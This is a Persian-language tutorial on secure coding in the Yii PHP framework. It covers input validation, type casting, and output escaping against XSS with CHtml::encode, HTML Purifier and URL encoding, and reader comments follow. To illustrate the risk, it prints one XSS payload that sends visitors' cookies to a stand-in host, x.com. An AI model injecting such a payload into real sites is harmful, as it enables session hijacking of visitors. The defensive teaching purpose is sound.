در حال ارتباط با سرور...




لطفا نظرات و پيشنهادات خود را بمنظور ارتقاء کيفي هرچه بيشتر سايت با ما در ميان بگذاريد.

ویدیوها مقالات کتاب ها اخبار پرسش و پاسخ
برنامه‌های رومیزی مبتنی بر وب زبان های برنامه سازی پایگاه داده سیستم عامل شبکه 
مقاله بگذارید
توسط : hamedkh دسته بندی : مبتنی بر وب تاریخ : 1391-12-13 22:05:16

در این مقاله قصد داریم به یکی از جنبه های مهم برنامه نویسی و توسعه نرم افزار بپردازیم و راهکار هایی را برای این منظور در Yii framework به شما عزیزان ارائه دهیم. کار را با بیان اصولی اولیه  ابتدایی شروع می کنیم که در بسیاری از مواقع از آنها غافل هستیم یا آنها را خیلی جدی نمی گیریم.



چک کردن اعتبار ورودی های کاربر :
یکی از ابتدایی ترین و در عین حال ضروری ترین کار ها برای برقراری امنیت در یک برنامه چک کردن ورودی های کاربر می باشد. بدین معنی که کاربر را محدود کنیم که چیزی را بعنوان ورودی وارد نماید که ما انتظار آن را داریم. بعنوان مثال اگر در فرمی از کاربر می خواهیم تاریخ تولد خود را وارد کند نباید  به او اجازه دهیم چیزی به جز تاریخ در فیلد  مربوطه وارد نماید و باید از این امر اطمینان کامل کسب کنیم. این عمل اگرچه بتنهایی نمی تواند امنیت کامل وب سایت را برای ما برقرار سازد  اما می تواند برای شروع گامی موثر باشد و باعث شود دیتابیس و وب سایت ما از از حملات احتمالی آتی در امان باشد.


اعتبارسنجی در سمت کلاینت :
اگر چه اعتبار سنجی در سمت کلاینت توسط جاوا اسکریپت برنامه ما را بسیار interactive و در تعامل با کاربر می نماید  اما تاثیر آن از نظر امنیتی در حد صفر می باشد. بعبارتی دیگر برنامه ای که هیچگونه اعتبار سنجی ای را انجام نمی دهد با برنامه ای که داده های ورودی کاربر را در سمت کلاینت چک می کند از نظر استحکام امنیتی هیچ فرقی با یکدیگر نخواهد داشت. این مسئله شامل محدودیت های اعمال شده توسط تگ های HTML نیز می شود. فرض کنید با کد های زیر محدودیت هایی را برای کاربر ایجاد کرده ایم :


<input type="hidden" name="id" value="1" />
<input type="text" name="date" size="10" />
<select name="list"><option>1</option><option>2</option></select>

در چنین حالتی کاربر اگر تنها اندکی با HTML و ابزار هایی از قبیل  firebug  آشنایی داشته باشد قادر خواهد بود بعنوان مثال محدودیت اعمال شده برای روی فیلد date را تغییر دهید یا بجای تایپ hidden را تغییر داده و فرم را برای حمله مورد نظر خود ارسال (POST) نماید. بهمین دلیل هیچگاه نباید به محدودیت های اعمال شده در سمت کلاینت بسنده نمود و حتما باید اعتبار سنجی سمت سرور را در برنامه بعنوان جزئی جدایی ناپذیر داشت.


سنجش اعتبار ورودی ها در Yii Framework:
نوشتن بخشی برای سنجش اعتبار داده ها عموما کاری ساده اما وقتگیر است که شاید همین وقتگیر بودن آن باعث می شود برخی از برنامه نویس ها آن را نادیده بگیرند و یا پیاده سازی آن را به تعویق بیاندازند. Yii Framework برای این منظور امکانات بسیار خوبی را ارئه می دهد که به توسعه دهندگان اجازه می دهد در کمتیرین زمان ممکن بتوانند از کار را انجام بدهند. در این فریم ورک در دو لایه می توان اعتبار سنجی داده ها را انجام داد. در مدل و کنترولر که در ادامه شرح آن آورده شده است :


اعتبار سنجی در مدل :
در Yii عموما مقصد نهایی داده ها مدل های موجود در برنامه می باشند که می توانند از نوع CFormModel و یا CActiveRecord باشند که هر دوی آنها کلاس های مشتق شده از CModel می باشند. یکی از توابعی که در این کلاس ها گنجانده شده است و برای سنجش اعتبار داده های ورودی کاربر مورد استفاده قرار می گیرد متد rules() می باشد که در حقیقت مشخص می نماید که عملیات اعتبار سنجی چگونه باید انجام گیرد. برای این منظور کافی است قوانینی در مدل تعریف کنید و این قوانین را با استفاده از متد های validate و یا save در کنترولر بکارگیری نمایید.

 

The controller:
<?php
// In the controller
$model = new Comment;
$model->attributes = $_POST['Comment'];
if ($model->save()) { // validates and save
    $this->redirect(array('view', 'id' => $model->id));
} else {
    // Could not validate, or could not save
}
The model:
<?php
// In the model
class Comment extends CActiveRecord
{
    public function rules()
    {
        return array(
            array('parent', 'numerical', 'integerOnly' => true),
            array('strangedata', 'customValidateForStrangedata'),
            array('description', 'length', 'max' => 255),
        );
    }
 
    // extended validation, run before the rules set above
    protected function beforeValidate()
        if (!empty($this->description) && substr_count($this->description, '"') % 2 !== 0) {
            $this->addError("description", "Odd number of quotes");
            // return false; // stop validation
        }
        return parent::beforeValidate();
    }
 
    /** @return boolean Continue the validation process? */
    protected function customValidateForStrangedata($attribute, $params)
    {
        $this->addError($attribute, "validation failed");
        return false;
    }

توجه داشته باشید که در Yii دست شما بسیار باز گذاشته شده است و می توانید از validator های پیش ساخته آن استفاده کنید و یا اینکه validator های مخصوص به خود را ایجاد در rules آن را تعریف نمایید. این امکان وجود دارد  که حتی برخی از validator ها را در برخی مواقع بکارگیرید. بعنوان مثال سناری تعریف کرده و قوانین را به سناریو های مورد نظر خود نسبت دهید. توجه داشته باشید که استفاده از این قوانین نه تنها به ارتقاء سطح امنیت برنامه شما کمک می کند بلکه باعث می شود داده هایی تمیز در دیتابیس داشته باشید.


اطمینان از صحت داده ها در کنترولر :
در برخی مواقع می توان برخی از داده های ورودی کاربر را در کنترولر با استفاده از Type Cast در PHP کنترول کرد و از صحت آنها اطمینان حاصل نمود. این کار را معمولا هنگامی انجام می دهیم که بخواهیم با استفاده از متد findByPk بر اساس id مدلی را ایجاد نماییم. در چنین حالتی استفاده از (int) ما را مطمئن می سازد که ورودی تاید findByPk  حتما از نوع integer خواهد بود:



<?php
// insecure (see below for restrictions)
$model = Post::model()->findByPk($_GET['id']);
// secure
$model = Post::model()->findByPk((int) $_GET['id']);

کنترل خروجی های HTML برنامه و XSS :
یکی دیگر از مواردی که شاید در بسیاری از اوقات نسبت به آن بی توجه هستیم کد های HTML ای است که در خروجی تولید می کنیم تا به کاربر چیزی را نمایش دهیم. در نگاه اول شاید این مسئله چندان با اهمیت بنظر نرسد اما باید گفت که کنترل نکردن هر آنچه ما بعنوان خروجی تولید می کنیم این فرصت را به خرابکاران می دهد تا با استفاده از این حفره امنیتی اقدام به تزریق (injection) کد های مخرب سمت کلاینت ( مانند جاوا اسکریپت) نمایند و وب سایت ما را مرود حملات XSS یا همان Cross-Site Scripting قرار دهند. راهکاری که برای مقابله با این مسئله ارائه و پیشنهاد می شود فیلتر کردن کد های خروجی (escaping) می باشد. برای روشن تر شدن این مسئله به مثال زیر توجه کنید که بخشی از پروفایل کاربری می باشد :



< h2>Profile of <?php echo $user->name ?></h2>
Other unfiltered outputs:
<a href="/posts?name=<?php echo $user->login ?>"
   title='<?php echo $user->name ?>'>See my posts</a>

حال فرض کنید شخصی بجای وارد نمودن نام خود تکه کد جاوا اسکریپت زیر را در دیتابیس وارد کرده باشد که باعث تولید این خروجی در پروفایل می گردد.

 

Joe<script>document.write('<img src="http://x.com/save.php?cookie='+getCookie()+'" />');function getCookie(){...}</script>

این تکه کد باعث می شود که بمحض اینکه شخصی از این پروفایل بازدید نماید درخواستی به صفحه ای ارسال شود که حاوی اطلاعات کوکی کاربران می باشد که این اطلاعات می تواند بعدا به مقاصد مختلفی مورد استفاده سوء قرار گیرند. اگر چه زبان PHP متد های مفیدی از جمله rawurlencode() و htmlspecialchars() را برای مقابله با چنین حملاتی در خود دارد اما خود Yii Framework نیز تمهیدات خوبی را برای این منظور در اختیار توسعه دهندگان قرار می دهد.
در صورتی که بخواهید متنی ساده را در خروجی به کاربر نمایش دهید می توانید از متد CHtml::encode() استفاده نمایید. در زیر مثالی از نحوه کاربرد این متد را مشاهده می کنید:
 

<h2>Profile of <?php echo CHtml::encode($user->name) ?></h2>

در کنار این متد، تابع strip_tags() نیز وجود دارد که تمامی تگ های موجود در یک رشته خروجی را فیلتر می نماید. نکته ای که در مورد استفاده از این تابع باید به آن توجه کنید اینست که این متد علاوه بر تگ های مخرب تگ های HTML شما را نیز از بین می برد و در نتیجه ممکن است خروجی شما با انچه انتظارش را دارید بسیار متفاوت باشد. مورد دیگر در رابطه با این تابع اینست که این تابع بتنهایی امن نیست و برای تامین امنیت بهتر است آن را با متد CHtml::encode() بصورت ترکیبی بکار برد.
در برخی از کاربرد ها نیاز است ورودی کاربر را در قالب HTML دریافت کنیم. بعنوان مثال rich text editor ای در اختیار کاربران قرار دهیم تا بتوانیم ورودی کاربر را در قالب HTML دریافت کنیم. اگر چه برخی از این editor ها امنیت داد های ورودی را تامین می نمایند اما باز هم نیاز است خود ما اقداماتی پیشگیرانه را در سمت سرور انجام دهیم. یکی از کتابخانه های قوی در PHP برای فیلتر نمودن خروجی های HTML  در این قالب HTML Purifier می باشد که در Yii نیز این کتابخانه بکارگیری شده است. برای آشنایی با نحوه استفاده از آن به مثال زیر توجه نمایید :
 

<li class="comments">
<?php
$purifier = new CHtmlPurifier();
$purifier->options = array(
    'HTML.Allowed', 'p,a[href],b,i',
);
foreach (Comment::model()->findAll() as $comment) {
    // This can be dangerous
    //echo "<li>" . $comment->text . "</li>\n";
 
    // Safe output (but slow)
    echo "<li>" . $purifier->purify($comment->text) . "</li>\n";
}
?>
</li>

ایمن سازی URL ها :
گاهی ممکن است بخواهیم آدرس های URL تولید شده در برنامه خود را نیز فیلتر کنیم. توجه داشته باشید که برای این کار استفاده از متد CHtml::encode()  بتنهایی کافی نیست و باعث نامعتبر شدن آدرس ها می گردد. بجای آن می توان از توابع rawUrlEncode() و urlEncode() استفاده نمود. در ادامه نحوه استفاده از این دو تابع آورده شده است.


<script>var a = "http://x.com/<?php echo rawUrlEncode($query) ?>"; </script>
<a href="/search/<?php echo rawUrlEncode($query)) ?>">Escape url parts</a>
<a href="/?param=<?php echo urlEncode($param) ?>">Escape URL parameters</a>
<a href="<?php echo CHtml::encode($url . "&param=" . urlEncode($param)) ?>">Escape whole URLs</a>

جاوا اسکریپت :
اگر در قسمتی از برنامه خود نیاز دارید که کد های جاوااسکریپت را از طریق PHP تولید کنید، توصیه می شود از متد های کلاس CJavaScript استفاده نمایید.


<?php
$messages = array("Rock'n roll", 'Say "hello"');
$title = "D'accord";
Yii::app()->clientScript->registerScript('snippet', "
function displayMsg() {
    var messages = <?php echo CJavaScript::encode($messages); ?>;
    var title = '<?php echo CJavaScript::quote($title); ?>';
    // ...
}
");

در برخی از مواقع ممکن است نخواهید Yii Framework کد های معتبر جاوا اسکریپت شما را quote کند. در چنین شرایطی باید پیشوند “js:” را به ابتدای رشته جاوا اسکریپت خود اضافه نمایید.

 

<?php
$this->widget(
    'zii.widgets.jui.CJuiAutoComplete',
    array(
        'name' => 'field_name', // Yii applies CJavaScript::quote to each value
        'source' => 'js:function(request, response) { $.ajax({...}) }', // "js:" before the JS code

این مطلب آموزشی بخش اول از مجموعه کد نویسی امن در Yii Frameword بود که امید وارم مورد استفاده شما عزیزان قرار گرفته باشد.


 

hamedkh
5.8 k     1     18     72
نظرات

سلام من تو پروژه اي كه دارم بايد يك امكان به كاربر بدم تا بتونه هر گونه كد HTML,JS رو بتونه وارد كنه و نبايد محدوديتي داشته باشه به نظر شما من براي تامين امنيت اين امكان چه كاري رو انجام بدم

@reza1607 سلام لطفا سوالتون رو در بخش سوالات مطرح بفرمایید

@reza1607 سلام همونطور که دوست خوبمون omid گفتن سوالات رو بهتره در قسمت سوالات سایت بپرسید تا بقیه هم بتونن از اون استفاده کنند. اما خیلی خلاصه اگه بخوام اینجا جواب بدم اینه که برای گرفته جاوا اسکریپت و HTML و ... بتره از rich text editor هایی مثل ckeditor استفاده کنید که قابلیت encode کردن این گونه تگ ها رو دارند.بازم می گم سوال رو اگر در قسمت سوالات بپرسید دوستان می تونند توضیحات کاملتری بدن

آموزش زبان برنامه نویسی C#
آموزش jquery

آموزش زبان جاوا Java
آموزش زبان انگلیسی
آموزش برنامه نویسی C
آموزش برنامه نویسی C++
آموزش جی کوئری jQuery
آموزش زبان سی شارپ C#
آموزش برنامه نویسی اندروید
آموزش برنامه نویسی اندروید
آموزش زبان اسمبلی Assembly
آموزش جاوا اسکریپت JavaScript
آموزش برنامه نویسی به زبان PHP